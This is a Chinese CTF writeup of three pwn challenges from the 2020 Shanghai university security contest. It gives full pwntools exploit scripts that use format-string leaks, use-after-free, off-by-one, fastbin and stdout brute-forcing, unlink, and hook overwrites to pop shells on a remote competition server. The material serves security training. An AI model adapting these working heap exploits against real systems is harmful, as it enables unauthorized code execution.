2020年全国大学生网络安全邀请赛暨第六届上海市大学生网络安全大赛 pwn部分 writeup

EASY_ABNORMAL

格式化字符串泄漏libc地址，uaf来泄漏堆地址
利用异常机制将栈迁移到堆上执行gadget

from pwn import *

binary = "./pwn"
libc = ELF('./libc-2.23.so')
p = remote("123.56.52.128","10012")

def name(payload):
	p.sendafter('NAME: ',payload)

def add(data):
	p.sendlineafter('CHOICE :','2')
	p.sendafter('cnt:',data)

def free(index):
	p.sendlineafter('CHOICE :','3')
	p.sendlineafter('idx:',str(index))

def show_note():
	p.sendlineafter('CHOICE :','4')

def format():
	p.sendlineafter('CHOICE :','1')

def gift(payload):
	p.sendlineafter('CHOICE :','23333')
	p.sendafter("INPUT:",payload)

name("%11$p\n")
format()
p.recvuntil('0x')
main = int(p.recv(12),16) - 240
libc_base = main - libc.sym['__libc_start_main']

one_gadget = libc_base + 0x4527a
payload = p64(0) * 4 + p64(one_gadget)
add(payload + '\n')
add(payload + '\n')
free(0)
free(1)
show_note()

p.recvuntil('idx 2:')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
payload1 = '\x00' * 32 + p64(heap_addr + 0x28)
gift(payload1)

p.interactive()

maj0rone

仔细分析下这个是不难的，主要在于add功能绕回答一个问题，分析输入80就能绕过了
然后就是简单的uaf，爆破下IO，没给libc，直接用本地的试了一下就通了

from pwn import *

local = 0

'''
time: 2020-11-14
libc: libc-2.23.so
python version:2.7
'''

binary = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'
port = "18523"

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add(size,content):
	p.sendlineafter('>> ','1')
	p.sendlineafter('please answer the question','80')
	p.sendlineafter('______?',str(size))
	p.sendafter('start_the_game,yes_or_no?',content)

def edit(index,content):
	p.sendlineafter('>> ','4')
	p.sendlineafter('index ?',str(index))
	p.sendafter('__new_content ?',content)

def free(index):
	p.sendlineafter('>> ','2')
	p.sendlineafter('index ?',str(index))

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['_IO_2_1_stderr_']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

byte_bss = 0x603038
bss1 = 0x60303C
bss2 = 0x603040
yes = 0x603060
sizearray = 0x603260
heaparray = 0x6032E0
content = 0x6033E0


while True:
	try:
		if local == 1:
			p = process(binary)
		else:
			p = remote("123.56.52.128",port)

		add(0x60,'0')
		add(0x60,'1')
		add(0x10,'2')
		add(0x10,'3')
		
		free(1)
		free(0)
		free(1)
		
		edit(1,'\x40')
		payload = p64(0) * 6 + p64(0) + p64(0x71)
		edit(0,payload)
		
		add(0x60,'4')
		add(0x60,'5')
		
		free(1)
		payload = p64(0) * 5 + p64(0x91)
		edit(5,payload)
		
		free(1)
		
		payload = p64(0) * 5 + p64(0x71) + '\xdd\x65'
		edit(5,payload)
		
		payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800)    # change flags
		payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller
		
		add(0x60,'6')
		add(0x60,'7')
		edit(7,payload)

		leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
		leak_libc(leak)

		add(0x60,'8')

		free(8)
		edit(8,p64(__malloc_hook - 0x23))

		one_gadget_list = [0x45226,0x4527a,0xf0364,0xf1207]
		one_gadget = libc_base + one_gadget_list[3]

		payload = 0x13 * 'a' + p64(one_gadget)

		add(0x60,'9')
		add(0x60,'10')
		edit(10,payload)

		p.interactive()

		break

	except Exception as e:
		print(e)
		p.close()
		continue

lgtwo

跟De1ctf一个题有点儿像，漏洞是off-by-one
布置堆结构在fastbin的fd上踩出一个unsorted bin指针，爆破IO即可
最后unlink

from pwn import *

local = 0

binary = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'
port = "45830"



def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def add(size,content):
	p.sendlineafter('>>','1')
	p.sendlineafter('size?',str(size))
	p.sendafter('content?',content)

def free(index):
	p.sendlineafter('>>','2')
	p.sendlineafter('index ?',str(index))

def edit(index,content):
	p.sendlineafter('>>','4')
	p.sendlineafter('index ?',str(index))
	p.sendafter('what is your new content ?',content)

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['_IO_2_1_stderr_']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

heaparray = 0x6020C0
sizearray = 0x602040
some = 0x602038
content = 0x6021C0

fd = heaparray + 0x8 * 7 - 0x18
bk = heaparray + 0x8 * 7- 0x10

elf = ELF(binary)

while True:
	try:
		if local == 1:
			p = process(binary)
		else:
			p = remote("123.56.52.128",port)

		# dbg()
		add(0x18,'a')	# 0
		add(0x18,'b')	# 1
		add(0x60,'c')	# 2
		add(0x58,'c')	# 3
		add(0x10,'pro')	# 4
		
		edit(0,0x10 * 'a' + 8 * '\x00' + '\xf1')
		# edit(3,0x50 * 'a' + p64(0xf0) + '\x20')
		
		free(1)
		free(2)
		
		# add(0x60,'dddd')
		add(0x18,'heihei')	# 1
		# add(0x60,'bao')
		add(0xc0,'az')	# 2
		
		edit(1,0x18 * 'a' + '\x71')
		
		edit(0,0x10 * 'a' + 8 * '\x00' + '\xf1')
		free(1)
		
		add(0xe0,'hello')	# 1
		payload = p64(0) * 3 + p64(0x71) + '\xdd\x65'
		edit(1,payload)
		
		add(0x60,'lemon')
		
		add(0x60,'fakechunk')	# 6
		payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800)    # change flags
		payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller
		edit(6,payload)
		
		leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
		log.success("LEAK:{}".format(hex(leak)))
		leak_libc(leak)
		
		add(0x38,'a')	# 7
		add(0x80,'b')	# 8
		add(0x10,'/bin/sh\x00')	# 9
		edit(9,'/bin/sh\x00')

		payload = p64(0) + p64(0x31) + p64(fd) + p64(bk)
		payload = payload.ljust(0x30,'\x00')
		payload += p64(0x30) +'\x90'

		edit(7,payload)
		free(8)

		edit(7,p64(0) * 3 + p64(__free_hook))
		edit(7,p64(system))

		free(9)
		
		p.interactive()

		break

	except Exception as e:
		print(e)
		p.close()
		continue